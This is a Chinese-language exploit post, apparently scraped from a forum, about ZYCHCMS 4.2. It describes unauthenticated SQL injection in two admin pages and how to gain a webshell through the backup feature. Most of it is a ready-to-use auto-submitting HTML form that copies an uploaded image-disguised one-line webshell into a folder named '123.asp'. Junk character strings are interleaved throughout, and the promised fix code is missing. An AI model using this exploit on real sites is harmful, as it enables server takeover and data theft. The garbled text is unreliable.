ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

, V" M( Y' \- x2 ~3 e. w, z2 i. a
! F" f1 |& l3 X$ K影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
7 C2 a8 A7 y2 t. Z ①SQL注射漏洞
% D/ ~. o5 Q+ I+ m/ e 漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
' q9 d! q8 }: @ 漏洞原因：未过滤
/ N; _" ~7 {1 u" G, v$ D 漏洞代码：
& V+ E* m. p2 g: U7 X 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
0 H) N& ?/ R8 A0 E) M6 n

②后台拿WBSHELL
& M) K' q- g! I3 B 进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
8 |& K& i$ s- x6 T 以下是代码本地提交代码
/ Y8 ]# Y8 q0 |5 c1 A( p  J
: |$ x$ b7 v0 P! U+ l% j0 x
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
, J" Z  d/ m( f6 U% f5 y) g( | </tr>
& `9 y3 Q% j$ Z8 o$ R' b7 N <tr>
8 {, [" g7 h6 \7 {; ^$ P5 U <td bgcolor=”#FFFFFF”><span class=”back_southidc”>
6 O0 Y5 s3 w( L- x* |$ p7 e+ u$ { </span>
7 D+ _6 {3 M1 T, Z. d <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
<div align=”left”>
6 `( Q! r5 U7 l1 E- ~ <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
3 ~2 C+ q" {4 g <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
</div></td>
2 n; L0 z8 l/ y& O3 f </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
1 p/ r$ M& d( h) X4 B. O <td class=”td”><div align=”left”>
/ Y/ N4 o- h: Y" Z) b& e <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
; S2 s8 Y% K$ ]7 c; [# ` [如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
- ]/ [6 @: f( x) c% r7 k& _, G </tr>
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
: O# l2 A: l+ G. l <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
<td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
</div></td>
</tr>
2 F5 w) i+ m9 O; U' k </table></td></tr></form>
* b1 G& ?7 Z" D9 ^% N </table>
</td>
</tr>
</table>
5 O- L3 ~- T! g9 j" z <script>
document.all.add.submit();
1 v% V, E- n" L; E6 \ </script>
* J  ]; V7 v% m; j) H1 K4 X



; u( N7 C, m8 B9 ]7 B

" Z7 n# d9 G7 K
, B! z, W5 ~9 y. n* v
/ M: |1 _' K+ Y2 e- ~$ w2 Z* d: T